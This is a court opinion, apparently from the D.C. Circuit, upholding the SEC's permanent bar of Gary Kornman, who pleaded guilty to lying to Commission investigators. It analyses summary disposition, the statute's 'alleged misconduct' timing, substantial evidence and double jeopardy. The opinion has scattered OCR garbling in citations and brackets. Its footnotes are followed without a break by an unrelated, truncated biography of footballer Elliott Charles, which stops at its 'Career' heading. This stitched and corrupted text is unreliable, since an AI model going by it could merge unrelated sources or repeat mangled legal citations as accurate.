An administrative law judge (“ALJ”) granted the Division’s motion for summary disposition and permanently barred Kornman from association with any broker-dealer or investment adviser, based on his 2007 conviction for violating 18 U.S.C. § 1001. Gary M. Kornman, Release No. 335, 91 SEC Docket 2234 (Oct. 9, 2007) (“Initial Decision ”). The ALJ found the evidence showed that Kornman was associated with Heritage Securities Corporation, a registered broker-dealer from 1992 to October 2006, and that he was associated with the Heritage Advisory Group, a limited liability company that was the general partner of two hedge funds — Heritage Capital Partners I, L.P. and Heritage Capital Opportunities Fund I, L.P. {See supra note 2, Exs. 5A at 10, 17 & 5B at 10, 17.) The ALJ also found that the hedge funds’ respective 1998 and 1999 private offering memoranda included provisions for payment of fees for managing the hedge funds’ portfolios. {See id., Exs. 5A at 18-19, 5B at 18-19.) Further, the ALJ found that the certificates by the Secretary of the State of Delaware showed the hedge funds were still in existence as of June 2005. {See id., Exs. 2 & 3.) The ALJ noted: “Kornman does not take issue with this material fact. In fact, he avoids doing so by stating obliquely, ‘Nothing in the record suggests that trades of Heritage Advisory Services in the open market did not cease before the telephone call at issue.’ Opposition at 19.” Initial Decision at 5 n. 3. The ALJ rejected Kornman’s legal defenses, including double jeopardy, and concluded that a permanent bar was required because “Kornman’s conviction involved dishonesty and opportunities for dishonesty recur constantly in the securities industry.” Id. at 9.
Kornman petitioned for review by the Commission on several grounds, including: (1) he had been denied his statutory right to a hearing because the ALJ had failed to take as true all the facts in his pleadings, specifically his vow not to repeat his misconduct; (2) the ALJ had failed “to review the sufficiency of evidence supposedly reflecting that, at the time of the October 29, 2003, telephone call at issue, Mr. Kornman or any entity with which he was associated was actually ‘for compensation engage[ing][sic] in the business of advising others’ regarding securities investments,” Pet. for Review at 3-4; and (3) a permanent bar was inappropriate in view of the evidence in mitigation, including that this was a solitary blemish on his business activities over three decades. The Division opposed the petition and attached the twelve exhibits that were before the ALJ.
Upon “independent review” of the disputed record evidence, the Commission concluded it was in the public interest to permanently bar Kornman from association with any broker, dealer, or investment adviser. Gary M. Kornman, Release No. 2840 at 1-2, 25, 2009 WL 367635 (Feb. 13, 2009^Decision”). The Commission affirmed that under section 15(b)(6)(A) of the Exchange Act and section 203(f) of the Advisers Act, the relevant date for purposes of its jurisdiction with regard to “the time of the alleged misconduct” was “October 29, 2003, the day on which [Kornman] provided his false statement to Commission investigators.” Id. at 9. The Commission found there was undisputed evidence of Kornman’s status as a broker-dealer and investment adviser, by virtue of his association with the Heritage Advisory Group, when he made the false statement, and thus it had jurisdiction to sanction him upon determining it was in the public interest to do so. The Commission noted that “[t]he record, including private offering memoranda from the [h]edge [fjunds, reflects that [the] Heritage Advisory [Group] served as the general partner to the [h]edge [fjunds, managing their investment portfolios and earning fees and other compensation for such services.” Id. at 6-7. Referencing the hedge funds’ quarterly and annual fees that Kornman received for managing their portfolios, the Commission observed, in responding to Kornman’s challenge to the sufficiency of the evidence that the Heritage Advisory Group was an investment adviser for compensation on October 28, 2003:
Kornman provides no evidence for his claim that the [h]edge [fjunds ceased operating or receiving these fees by October 2003. To the contrary, certificates from Delaware’s Secretary of State show that the Hedge Funds remained active and in good standing in that State through at least June 9, 2005, and that Heritage Advisory [Group] remained manager of the [h]edge [f]unds as their general partner.
Id. at 9-10 (internal quotations omitted). Addressing the factors set forth in Stead-man, 603 F.2d. at 1140, while noting that its inquiry is “a flexible one, and no one factor is dispositive,” Decision at 10, the Commission concluded:
The conduct underlying Kornman’s conviction was egregious. His conviction was for making a material false statement to a federal official, and he admitted he did so intentionally and for the purpose of misleading our investigation. As we have stated: “The securities industry presents a great many opportunities for abuse and overreaching, and depends very heavily on the integrity of its participants.” Indeed, the importance of honesty for a securities professional is so paramount that we have barred individuals even when the conviction was based on dishonest conduct unrelated to securities transactions or securities business. Here, the egregiousness of Kornman’s dishonest behavior is compounded because he made his false statement to Commission staff during an ongoing investigation into possible insider trading violations. Providing information to investigators is important to the effectiveness of the regulatory system, and the information provided must be truthful. We have consistently held that deliberate deception of regulatory authorities justifies the severest of sanctions.
Id. at 10-11 (internal citations omitted). The Commission also noted his conduct exhibited “a high degree of scienter,” id. at 11, referencing his stipulation in the Factual Resume accompanying his plea. The Commission rejected Kornman’s other legal challenges and found inapposite the cases he cited in urging that only a censure should be imposed. Kornman petitions for review.
II.
Kornman’s contentions about his right to a hearing and the lack of substantial evidence to support the Commission’s finding that he was an “investment adviser” at the time of the “alleged misconduct” present two issues of statutory interpretation. We address them first, before turning to his challenge to the sufficiency of the record evidence before the Commission.
Section 203® of the Investment Advisers Act limits the jurisdiction for the Commission to issue sanctions related to a party’s future association as an “investment adviser.” It provides, in relevant part:
The Commission, by order, shall censure or place limitations on the activities of any person associated, seeking to become associated, or, at the time of the alleged misconduct, associated or seeking to become associated with an investment adviser, or suspend for a period not exceeding twelve months or bar any such person from being associated with an investment adviser, if the Commission finds, on the record after notice and opportunity for hearing, that such censure, placing of limitations, suspension, or bar is in the public interest....
15 U.S.C. § 80b-3 (©(emphasis added). An “investment adviser” is defined as
any person who, for compensation, engages in the business of advising others, either directly or through publications or writings, as to the value of securities or as to the advisability of investing in, purchasing, or selling securities, or who, for compensation and as part of a regular business, issues or promulgates analyses or reports concerning securities ....
Id. § 80b-2(a)(ll).
A.
The Commission’s interpretation of its authorizing statutes is entitled to deference under the familiar two-pronged test set forth in Chevron, U.S.A., Inc. v. Natural Res. Def. Council, Inc., 467 U.S. 837, 104 S.Ct. 2778, 81 L.Ed.2d 694 (1984). Where Congress has made its intent clear, that is the end of the matter, but if the statute is ambiguous, the court must determine whether the agency’s interpretation is permissible. Id. at 842-843, 104 S.Ct. 2778; see also SEC v. Zandford, 535 U.S. 813, 819-20, 122 S.Ct. 1899, 153 L.Ed.2d 1 (2002). Similarly, the court will defer to an agency’s reasonable interpretation of its regulations. See Auer v. Robbins, 519 U.S. 452, 461, 117 S.Ct. 905, 137 L.Ed.2d 79 (1997).
1. The Commission interpreted the phrase “on the record after notice and opportunity for hearing” in section 203(© of the Advisers Act, 15 U.S.C. § 80b-3(©, to allow summary proceedings. Decision at 17-18. This is at least a “permissible construction of the statute.” Chevron, 467 U.S. at 843, 104 S.Ct. 2778. Rule 250 of the Commission’s Rules of Practice provides for summary disposition in the absence of a genuine issue of material fact. Under Rule 250, a motion for summary disposition may be granted where there is “no genuine issue with regard to any material fact and the party making the motion is entitled to a summary disposition as a matter of law.” 17 C.F.R. § 201.250(b). The Rule also provides that “[t]he facts of the pleadings of the party against whom the motion is made shall be taken as true, except as modified by stipulations or admissions made by that party, by uncontested affidavits, or by facts officially noted.” Id. § 201.250(a). Further, the hearing officer “shall deny or defer the motion” if “it appears that a party, for good cause shown, cannot present by affidavit prior to hearing facts essential to justify opposition to the motion.” Id. § 201.250(b). The Commission modeled Rule 250 on Rule 56 of the Federal Rules of Civil Procedure. See Jeffrey L. Gibson, Rel. No. 57266, 92 SEC Docket 2104 at 2112 n. 26 (Feb. 4, 2008).
The plain text of section 80b-3 (f) requires the “opportunity for hearing” without defining the word “hearing.” The Commission’s rule reflects a well-established distinction between a hearing on the pleadings and an evidentiary hearing at which witnesses testify and are subject to cross-examination. See, e.g., Costle v. Pac. Legal Found., 445 U.S. 198, 213-14, 100 S.Ct. 1095, 63 L.Ed.2d 329 (1980); United States v. Storer Broad. Co., 351 U.S. 192, 202, 205, 76 S.Ct. 763, 100 L.Ed. 1081 (1956). For example, in Weinberger v. Hynson, Westcott & Dunning, Inc., 412 U.S. 609, 621, 93 S.Ct. 2469, 37 L.Ed.2d 207 (1973), the Supreme Court construed text virtually identical to the Advisers Act in concluding that the phrase “notice and opportunity for hearing to the applicant” did not always require an evidentiary hearing because “[w]e cannot impute to Congress the design of requiring, nor does due process demand, a hearing when it appears conclusively from the applicant’s ‘pleadings’ that the application cannot succeed.” Although this court has not previously decided whether the Advisers Act requires an evidentiary hearing in all cases, Seghers v. SEC, 548 F.3d 129, 133-34 (D.C.Cir.2008), it has interpreted similar language in the Food Drug and Cosmetic Act, 21 U.S.C. § 355(e)(3), not to require an evidentiary hearing where there is “no genuine and substantial issue of fact that requires a hearing.” John D. Copanos & Sons, Inc. v. Food & Drug Admin., 854 F.2d 510, 518 (D.C.Cir.1988); see also Crestview Parke Care Ctr. v. Thompson, 373 F.3d 743, 750 (6th Cir.2004); Puerto Rico Aqueduct & Sewer Auth. v. EPA 35 F.3d 600, 606 (1st Cir.1994), cert. denied, 513 U.S. 1148, 115 S.Ct. 1096, 130 L.Ed.2d 1065 (1995); 1 Richard J. Pierce, Jr., Administrative Law Treatise § 8.3, pp. 542-43 (4th ed. 2002).
For these reasons, Kornman’s contention that the plain language requires an evidentiary hearing in all cases is not supportable. In promulgating Rule 250 the Commission explained that summary disposition would be available in disciplinary cases, although noting that such cases “are likely to be less common” than in regulatory proceedings because “[tjypically, enforcement and disciplinary proceedings that reach litigation involve genuine disagreement between the parties as to material facts.” Rules of Practice, 60 Fed.Reg. 32738-01, 32,767 (Jun. 23, 1995). However, in later amending Rule 250, the Commission acknowledged that in practice “[mjotions for summary dispositions are often made in cases where a respondent has been criminally convicted.” Adoption of Amendments to Rules of Practice, 70 Fed.Reg. 72566-01, 72567 (Dec. 5, 2005). For example, in John S. Broivnson, Release No. 46,161, 77 SEC Docket 3097, 2002 WL 1438186 at *2 (July 3, 2002), pet. denied, Brownson v. SEC, 66 Fed.Appx. 687 (9th Cir.2003), the Commission had stated that “[sjummary disposition is particularly appropriate where, as here, a respondent has pled guilty to securities fraud.” See also supra note 3. Presumably this is so because in most instances the criminal proceeding has resolved the central issue concerning the nature of the “alleged misconduct” and only the question of the appropriate sanction remains. For certain types of criminal conduct, the Commission has warned that only “extraordinary mitigating circumstances” are likely to affect its determination of the sanction required in the public interest. Brownson, 77 SEC Docket 3097, 2002 WL 1438186 at *2.
Kornman cannot successfully deny that he was afforded the “opportunity for hearing.” The Commission informed him in writing of the allegations against him, and he filed a written response to the allegations. He also had the opportunity to challenge the arguments and evidence proffered by the Division in moving for summary disposition pursuant to Rule 250, and he did so by filing an opposition and attaching documents. Kornman does not suggest he was denied an opportunity to set forth all of his evidence, challenges, and defenses in his pleadings before the ALJ’s Initial Decision and the Commission’s subsequent Decision. Because the Commission proceedings against Kornman were based on the record in his criminal case that disposed of the central issue regarding the nature of his “alleged misconduct” for administrative enforcement purposes, a summary proceeding was appropriate under Commission precedent. See, e.g., Brownson, 77 SEC Docket 3097, 2002 WL 1438186 at *2; Capillari, 81 SEC Docket 633, 2003 WL 22250402 at *2.
2. The Commission interpreted the phrase “at the time of the alleged misconduct” in section 203(f) of the Advisers’ Act, 15 U.S.C. § 80b-3(f), to refer not to Kornman’s 2007 conviction, as Kornman urged, but to his false statement to Commission investigators during the October 29, 2003 telephone call on which his conviction under 18 U.S.C § 1001 was based. Decision at 9. This interpretation reflects the plain text of the statute, id. at 9 & n. 22, and is, in any event, reasonable even if the text is ambiguous, cf. Teicher v. SEC, 177 F.3d 1016, 1021 (D.C.Cir.1999). The Commission noted that section 80b-3(f) refers to the “alleged misconduct,” not the “alleged event” as Kornman’s interpretation implied. Decision at 9. The Commission also relied on legislative history indicating that Congress had enacted the current text to make clear its original intent that misconduct during a past association as well as during a present occasion subjects a person to administrative proceedings and sanctions under the Exchange and Advisers Acts. Id. at 9 n. 23 (citing S.Rep. No. 100-105, at 2111 (1987)). The Commission pointed to its precedent explaining that to hold otherwise “would allow persons who violate the law while employed in the securities business to avoid administrative sanctions simply by leaving the business.” John Kilpatrick, Release No. 23251, 35 SEC Docket 914, 1986 WL 626187 at * 5 (May 19, 1986).
The Commission properly relied on the ordinary meaning of alleged “misconduct,” which refers to allegedly “unlawful or improper behavior,” Black’s Law Dictionary 1013 (7th ed. 1999). See Limtiaco v. Camacho, 549 U.S. 483, 488-89, 127 S.Ct. 1413, 167 L.Ed.2d 212 (2007); cf. Gonzales v. Oregon, 546 U.S. 243, 274, 126 S.Ct. 904, 163 L.Ed.2d 748 (2006). So too, it could properly rely on the legislative history, see Chevron, 467 U.S. at 843 n. 9, 845, 104 S.Ct. 2778, and on its own precedent interpreting congressional intent.
Kornman’s contention that after his conviction his misconduct was no longer “alleged misconduct” is “nonsensical.” Resp’t Br. 15. It would mean no conviction that establishes the central issues regarding the “alleged misconduct” as violations of law would ever satisfy the statutory text. Yet, as the Commission noted, Congress has authorized the Commission to discipline persons who have been convicted of crimes that suggest a lack of fitness to remain in the securities industry. Decision at 5 & n. 11 and 6 n. 13; see 15 U.S.C. § 80b-3(e)(3)(A); § 80b-3(f). The misconduct thus remains “alleged” for purposes of the Commission’s enforcement proceedings even after a criminal conviction based on the same underlying conduct. Kornman’s contrary interpretation would undermine Congress’ intent to ensure that past associations are subject to Commission authority.
B.
Turning to Kornman’s challenge to the sufficiency of the evidence, the court not only “must uphold [the Commission’s] [legal] determinations unless they are arbitrary, capricious, an abuse of discretion, or otherwise not in accordance with law,” Homing, 570 F.3d at 343 (internal quotations omitted), but it must also treat the Commission’s findings of fact as final if they are supported by substantial evidence in the record, id. “Substantial evidence is more than a mere scintilla. It means such relevant evidence as a reasonable mind might accept as adequate to support a conclusion.” Consolidated Edison Co. v. NLRB, 305 U.S. 197, 229, 59 S.Ct. 206, 83 L.Ed. 126 (1938); see Steadman v. SEC, 450 U.S. 91, 101 n. 21, 101 S.Ct. 999, 67 L.Ed.2d 69 (1981).
The Commission’s finding that on October 29, 2003, Kornman was associated with an “investment adviser” as the organizer of the Heritage Advisory Group, L.L.C., which managed the portfolios of two hedge funds, is supported by substantial evidence in the record. In responding to the Division’s allegations, Kornman admitted that he controlled a limited liability company and had traded for “two hedge-type funds.” In opposing summary disposition, he proffered no evidence to contradict either his admissions or the Division’s evidence. The undisputed record evidence before the Commission showed that Kornman organized the Heritage Advisory Group as a limited liability company, which served as the general partner of the two hedge funds, (see supra note 2, Exs. 2, 3, 5A & 5B) and according to official state records, the two hedge funds remained in good standing at least through June 2005, (see id. Exs. 2 & 3) a status in part dependent upon the funds having paid any state taxes that were due, Del. Code Ann. tit. 6, § 17-203 (2009). The hedge funds’ private offering memoranda required the payment of quarterly and annual fees for management of the funds’ portfolios. {See supra note 2, Exs. 5A at 18-19 & 5B at 18-19.) Cory D. Childs, a former employee of the Heritage Advisory Group, provided sworn statements describing how Kornman managed the portfolios of the two hedge funds at least until June 2003 when Childs left his job. {See id., Exs. 5 and 11.)
It is true, as Kornman points out, that there was no record evidence that either of the hedge funds were still engaged in trading in October 2003. But under Rule 250, which the Commission modeled on Federal Rule of Civil Procedure 56, the burden on the Division was to proffer evidence to demonstrate why summary disposition was appropriate. To do so the Division did not have to proffer evidence of actual trades in October 2003 if the evidence proffered sufficed to raise a reasonable inference that Kornman continued, for compensation, to manage the funds’ portfolios. Cf. Celotex v. Catrett, 477 U.S. 317, 322-23, 106 S.Ct. 2548, 91 L.Ed.2d 265 (1986); Fed.R.CivP. 56(c)(2). The hedge funds’ private offering memoranda did not establish a trading schedule. (See supra note 2, Exs. 5A & 5B.) The absence of trading around the time of the October 29, 2003 telephone call would, moreover, be consistent with Childs’ deposition about how Kornman managed the hedge funds’ portfolios: Kornman would call Childs from time to time to make trades for “whichever [fund] had the money at the time”; there was no set schedule for trading. Ex. 11 at 23-24, supra note 2. Because the evidence proffered by the Division sufficed to support the reasonable inference that the hedge funds remained active until at least June 2005, the burden under Rule 250, as under Civil Rule 56, shifted to Kornman to proffer evidence that trading had ceased before the October 29, 2003 telephone call. Cf. Anderson v. Liberty Lobby, Inc. 477 U.S. 242, 252, 106 S.Ct. 2505, 91 L.Ed.2d 202 (1986); Fed.R.Civ.P. 56(e)(2).
Contrary to Kornman’s contention on brief, there was no record evidence that the Heritage Advisory Group ceased to function for compensation as an investment adviser for the two hedge funds after June 2003. Childs described Kornman’s active involvement in managing their portfolios during Childs’ employment, which began in March 2000 and ended in June 2003. (See supra note 2, Ex. 11 at 19.) Nothing in Childs’ sworn statements, or other evidence before the Commission, suggested that Childs’ leaving his job was related to the end of Kornman’s active management of the hedge funds’ portfolios. Instead, Childs’ sworn statements indicated that when he left to pursue other interests, he was leaving an ongoing trading operation managed by Kornman. The state certificates showing that the hedge funds remained in good standing as of June 2005 supported the inference from Childs’ sworn statements that trading continued and Kornman continued in his role as the Heritage Advisory Group manager of the funds’ portfolios. (See id., Exs. 2, 3, 5A & 5B.) In addition, Kornman did not deny the ongoing existence of the two hedge funds in his response to the Division’s allegations. Similarly, in his affidavit submitted in opposing the Division’s Rule 250 motion he did not state that the hedge funds ceased paying him management fees prior to October 29, 2003 or that the funds had ceased to trade by then. The record of the criminal proceedings also did not indicate that he was no longer associated with the Heritage Advisory Group or did not provide, for compensation, investment advice to the hedge funds in October 2003. (See id., Exs. 7, 9, 10.) Indeed, Kornman’s sworn deposition in 2004 confirmed that at least one of the funds was still in existence — “One of those [funds] has assets and one is — is basically nothing,” Ex. 4 at 23, supra note 2, and did not state the funds had ceased trading by October 2003. At most, Kornman’s unsworn statement during the October 29, 2003 telephone call indicated that Heritage Capital Partners I, L.P. was not in business, but he did not mention, much less resolve, the status of Heritage Capital Opportunities Fund I, L.P. (See id., Ex. 12 at 7.)
The Commission, and the ALJ, noted that Kornman had made assertions that the two hedge funds had ceased trading prior to October 2003 but had proffered no evidence to support his assertions. For example, he proffered neither certificates of dissolution of the hedge funds nor evidence of cancellation of the contractual fees, much less quarterly or annual statements documenting the absence of any trades by the hedge funds. Moreover, he never claimed that he would be unable to produce documentation to show there was no trading activity by the hedge funds in October 2003 until an evidentiary hearing was held. See Rule 250(b). Given the record evidence, the Commission could reasonably find that Kornman continued to be associated with an entity that provided investment advice for compensation at the time he made a false statement to Commission investigators on October 29, 2003.
Kornman’s contention, then, that he was entitled to an evidentiary hearing even in the absence of evidence of a material issue of disputed fact is flawed as a matter of statutory interpretation, as is his interpretation of “at the time of the alleged misconduct,” and reflects a misunderstanding of the record evidence before the Commission. Although there may be circumstances when the Commission would be required to hold an evidentiary hearing even where there is a criminal conviction involving a willful intent to mislead Commission investigators, Kornman’s admissions and the undisputed record evidence allowed the Commission to proceed pursuant to Rule 250. Kornman, in turn, fails to show that there is not substantial record evidence to support the Commission’s finding that he was an “investment adviser” on October 29, 2003.
III.
“It is a fundamental principle ... that where Congress has entrusted an administrative agency with the responsibility of selecting the means of achieving the statutory policy the relation of remedy to policy is peculiarly a matter for administrative competence.” Am. Power & Light Co. v. SEC, 329 U.S. 90, 112, 67 S.Ct. 133, 91 L.Ed. 103 (1946) (internal quotations omitted). Because of the Commission’s “accumulated experience and knowledge^] ... [i]ts judgment is entitled to the greatest weight. While recognizing that the Commission’s discretion must square with its responsibility, only if the remedy chosen is unwarranted in law or is without justification in fact should a court attempt to intervene.” Id. at 112-13, 67 S.Ct. 133; see also Homing, 570 F.3d at 343. Moreover, the Commission is not required to follow any mechanistic formula in determining an appropriate sanction. PAZ Sec., Inc. v. SEC, 566 F.3d 1172, 1175 (D.C.Cir.2009).
The Commission concluded that “Kornman’s deliberate attempt to deceive Commission investigators during an investigation into insider trading indicates a lack of honesty and integrity, as well as a fundamental unfitness to transact business associated with a broker or dealer and to advise clients as a fiduciary.” Decision at 12. Kornman contends the Commission failed to appreciate that not every conviction involving dishonesty requires a permanent bar. He maintains the Commission imposed an automatic bar without “showing] with particularity the facts and policies that support those sanctions and why less severe action would not serve to protect investors.” Pet’r’s Br. at 16 (citing Steadman, 603 F.2d at 1137) (emphasis in original). He also faults the Commission for not allowing him to present testimony at an evidentiary hearing to rebut the assertion by the Division that a less severe sanction would not protect the public. We conclude Kornman fails to show either reversal or remand is required.
The Commission explained why, as a matter of policy, Kornman’s particular misconduct warranted a bar: his conviction indicated his dishonesty was egregious because he admitted it was knowing and intentional, and, moreover, his false statement was made in the course of the Commission’s investigation of wrongdoing in the industry. The Commission observed that “the importance of honesty for a securities professional is so paramount that [the Commission has] barred individuals even when the conviction was based on dishonest conduct unrelated to securities transactions or securities business.” Decision at 11. Further, the Commission noted it has “consistently held that deliberate deception of regulatory authorities justifies the severest of sanctions.” Id. The Commission acknowledged Kornman’s prior unblemished business record, his regret about making the false statement, his vow not to do so again, and even that he was personally convinced he would not repeat his misconduct. However the Commission emphasized that “[t]he securities industry presents a great many opportunities for abuse and overreaching, and depends very heavily on the integrity of its participants.” Id. at 10-11 (internal quotations omitted).
Insofar as Kornman contends the Commission abused its discretion by imposing an automatic bar because the ALJ found that “a conviction involving dishonesty requires a bar,” Initial Decision at 9, the Commission did not embrace this portion of the ALJ’s analysis. Instead the Commission imposed the bar only after considering the mitigating factors pursuant to an analysis of the Steadman factors, 603 F.2d at 1140. Observing, however, that Kornman’s mitigation arguments were “essentially collateral attacks on his conviction,” Decision at 12, the Commission ruled he was estopped from doing so because the validity of Kornman’s plea was not at issue and he had admitted the materiality of his false statement, a legal ruling Kornman does not challenge. By pleading guilty to violating 18 U.S.C. § 1001, Kornman admitted to “knowingly and willfully — (1) falsifying] ... a material fact; (2) mak[ing] a[ ] materially false ... statement or representation” “in any matter within the jurisdiction of the executive ... branch of the Government of the United States.” Id. § 1001(a). The Commission concluded that because willfulness was not at issue, the “exculpatory no” doctrine, see United States v. Wiener, 96 F.3d 35, 37 (2d Cir 1996), was inapplicable, noting as well rejection of the doctrine in Brogan v. United States, 522 U.S. 398, 402-05, 118 S.Ct. 805, 139 L.Ed.2d 830 (1998); see also id. at 408-12, 118 S.Ct. 805 (Ginsburg, J. concurring). It also could reasonably reject, in view of the criminal record, Kornman’s attempts to minimize the gravity of his false statement as trivial or dilatory in nature and his mental state as less than intentional.
As to other mitigation arguments — that Kornman was 63 years old, winding down his professional career, and had no prior criminal or disciplinary history — the Commission explained they did not alleviate its concern that his occupation presented opportunities for future misconduct. The Commission was also unpersuaded that, as Kornman argued, neither the Commission nor the public suffered any harm as a result of his misconduct, given the importance of integrity to the regulatory process. Neither, in the Commission’s view, did Kornman’s substantial financial losses mitigate the gravity of his conduct, particularly because the district court in sentencing him had taken into account that a permanent bar would likely be sought in the administrative hearings before the Commission.
On this record, Kornman cannot show either that the Commission’s chosen remedy was unwarranted as a matter of policy or without justification in fact, or that the Commission gave inadequate consideration to the evidence offered in mitigation. Although having discretion to impose a lesser sanction, “[t]he Commission is not obligated to make its sanctions uniform,” and the court “will not compare this sanction to those imposed in previous cases.” Geiger v. SEC, 363 F.3d 481, 488 (D.C.Cir.2004) (citing Butz v. Glover Livestock Comm’n Co., 411 U.S. 182, 186-87, 93 S.Ct. 1455, 36 L.Ed.2d 142 (1973)). Because Kornman presented no ground for an evidentiary hearing on mitigation' — for example, he did not proffer by affidavit or other evidence that he had initiated prompt efforts to correct his false statement or otherwise proffered evidence of conduct that the Commission might have deemed “extraordinary mitigating circumstances,” Brownson, 77 SEC Docket 3097, 2002 WL 1438186 at *2 — the Commission could reasonably conclude that an evidentiary hearing on mitigation was unnecessary.
Kornman’s attempt to invoke double jeopardy concerns misses the mark. The Supreme Court has long distinguished between civil sanctions and a criminal penalty based on a common underlying event. See Helvering v. Mitchell, 303 U.S. 391, 399, 58 S.Ct. 630, 82 L.Ed. 917 (1938). In Hudson v. United States, 522 U.S. 93, 118 S.Ct. 488, 139 L.Ed.2d 450 (1997), the Court held that the Double Jeopardy Clause does not prohibit bringing a criminal prosecution against a person debarred from the banking industry for the same misconduct during a prior civil administrative proceeding. Id. at 97-99, 118 S.Ct. 488. So too the reverse must be true as well. See DiCola v. Food and Drug Admin., 77 F.3d 504, 505, 507-08 (D.C.Cir.1996). By authorizing the Commission to debar investment advisers to protect the investing public, 15 U.S.C. § 80b-3(f), Congress signaled its intent that the bar be civil, see Hudson, 522 U.S. at 103, 118 S.Ct. 488, and Kornman has not demonstrated by the “clearest proof’ that his sanction is “ ‘so punitive in form and effect as to render [the sanction] criminal despite Congress’ intent to the contrary,’ ” id. at 104, 118 S.Ct. 488 (quoting United States v. Ursery, 518 U.S. 267, 290, 116 S.Ct. 2135, 135 L.Ed.2d 549 (1996)). The “ ‘revocation of a privilege voluntarily granted,’ such as a debarment, ‘is characteristically free of the punitive criminal element.’ ” Id. at 104, 118 S.Ct. 488 (quoting Helvering, 303 U.S. at 399 & n. 2, 58 S.Ct. 630). That it “will deter others from emulating [the respondent’s] conduct ... is insufficient to render a sanction criminal, as deterrence ‘may serve civil as well as criminal goals.’ ” Id. at 105, 118 S.Ct. 488 (quoting Ursery, 518 U.S. at 292, 116 S.Ct. 2135); see also DiCola, 77 F.3d at 508. As the Commission observed, Kornman’s sanction is remedial in nature because it “is designed to protect the public, and the sanction is not historically viewed as punishment,” Deci sion at 22. Given the record in the criminal proceeding, the Commission’s concern about allowing Kornman to continue as an investment adviser was a legitimate prophylactic remedy consistent with its statutory obligations.
Accordingly, we deny the petition for review.
. The Division alleged:
A. From May 1992 to October 2006, Kornman owned Heritage Securities Corporation, a registered broker-dealer. In addition, Kornman individually held Series 6 and 63 securities licenses and was a registered representative of Heritage Securities Corporation. He also controlled a limited liability company that served as an investment adviser to two Kornman-controlled hedge funds. Kornman, 63 years old, is a resident of Dallas, Texas.
B. On April 9, 2007, Kornman pled guilty to one count of making a false statement to the SEC in connection with its investigation into his trades in MiniMed common stock, in violation of Title 18 United States Code, Section 1001. Kornman entered his guilty plea before the United States District Court for the Northern District of Texas, in United States v. Gary M. Kornman, Crim. No. 3:05-CR-0298-P. On July 11, 2007, a judgment of conviction in the criminal case was entered against Kornman. He was sentenced to two years of supervised probation and ordered to pay $ 143,465.
C. The criminal count to which Kornman pled guilty alleged that Kornman stated falsely to the [Commission] that he did not know who possessed trading authority over the brokerage account for a hedge fund through which he conducted trading in MiniMed stock in February 2001. In the factual resume accompanying the plea agreement, Kornman admitted that: the statement was false; he knew that he personally possessed trading authority over the brokerage account; he made the statement intentionally, knowing that it was both false and material to the [Commissionj’s investigation; and he made the false and material statement for the purpose of misleading the [Commission] in its investigation into his MiniMed trading activity.

. Kornman sought discovery of documents and other evidence reflecting whether the Commission attorneys who participated in the October 29, 2003 telephone call: (1) knew that he was represented by counsel in pending matters, (2) were working with criminal investigators at the time of the call, and (3) had the information they were requesting from him during the telephone call. He also sought discovery on "when and how government attorneys became aware that at least one witness on whom the government relied coached any witnesses against [] Kornman,” and the attorneys’ notes "from the telephone conversation.” Opp’n to Mot. for Summ. Disposition 10.
. The other documents were: Martindale-Hubbell profiles of the Commission investigators; the State of Texas Rules of Disciplinary Procedure on restrictions on lawyers’ communication with parties; a document indicating that a lawyer in Pennsylvania had received only a one-year disbarment upon conviction of 18 U.S.C. § 1001 for failing to disclose to the Commission during an investigation; and a segment from a district court opinion granting Kornman limited discovery in the civil enforcement proceeding then pending against him in the Northern District of Texas. Also attached were a call log entry and handwritten notes regarding a government witness and one of Kornman's former co-workers; a declaration of Philip Asquith, who did business with MiniMed, which was a subject of the insider trading investigation; and a newspaper article about a lawsuit against Jack Pratt, a government witness, regarding his business dealings with Hollywood Casino, which was also a subject of the insider trading investigation.
. At the beginning of the telephone call the Commission investigators offered Kornman the opportunity to confer with counsel before they asked him any questions or he continued to speak with them. (Ex. 12 at 5-6.). The transcript also indicates Kornman was aware that he could refuse at any time to continue speaking with the investigators. (Ex. 12 at 20, 25, 27-28).
. The Commission ordered additional briefing “regarding the impact of Kornman’s conviction of a felony involving the violation of chapter 47 of title 18 of the United States Code on the Commission's authority to institute this proceeding.” Order Directing the Filing of Additional Briefs 1 (Apr. 24, 2008). The Division responded, citing section 15(b)(4)(B)(iv) of the Exchange Act of 1934 and section 230(e)(2)(D) of the Advisers Act, that a conviction of fraud was unnecessary because a violation of 18 U.S.C. § 1001 falls within Chapter 47 where the misconduct arises out of the conduct of the business of a broker-dealer or investment adviser. Kornman does not challenge this legal conclusion.
. The Senate Report states that amending the statute to read “at the time of the alleged misconduct” in Exchange Act section 15(b)(6) and Advisers Act section 203(f) was meant to “make clear Congress’ original intent that misconduct during a past association ... as well as during a present ... association, subjects a person to administrative proceedings and sanctions.” S.Rep. No. 100-105, at 2111 (emphasis in original).
. The Commission cited as examples Ahmed Mohamed Soliman, 52 S.E.C. 227, 230-31 (1995); Bruce Paul, 48 S.E.C. 126, 128-29 (1985); Benjamin Levy Sec., Inc., 46 S.E.C. 1145, 1146-47 (1978); cf. Paul K. Grassi, Jr., Exchange Act Rel. No. 52858 (Nov. 30, 2005), 86 S.E.C. 2494; Boleslaw Wolny, 53 SEC 590 (1998); see also John F. Yakimczyk, 51 S.E.C. 56, 58 (1992); Joseph P. D’Angelo, 46 S.E.C. 736, 737 (1976), aff'd without opinion, 559 F.2d 1202 (2d Cir.1977).
. As examples, the Commission cited Peter W. Schellenbach, 50 S.E.C. 798, 803 (1991), aff'd, 989 F.2d 907 (7th Cir.1993); Rita Delaney, 48 S.E.C. 886, 890 (1987); Walter B. Bull, Jr., 48 S.E.C. 113, 116-17 (1985).
. Because Kornman has conceded he is es-topped from collaterally attacking the facts underlying his plea, we need not address the question left open in Otherson v. Dep't. of Justice, 711 F.2d 267, 275 n. 8, 277 n. 11 (D.C.Cir.1983).

Elliott Charles
Elliott Grant Charles (born 1 April 1990) is an English-born Grenadian footballer who plays as a striker for the Grenada national football team.
Early life
As a youngster Elliot attended St. Gildas Junior School. Aged 10 while playing an inter-borough tournament against St.Mary's he attracted the attention of a scout for Arsenal. He was later scrapped from their youth system. He later attended Bishop Douglass, Finchley.
Career
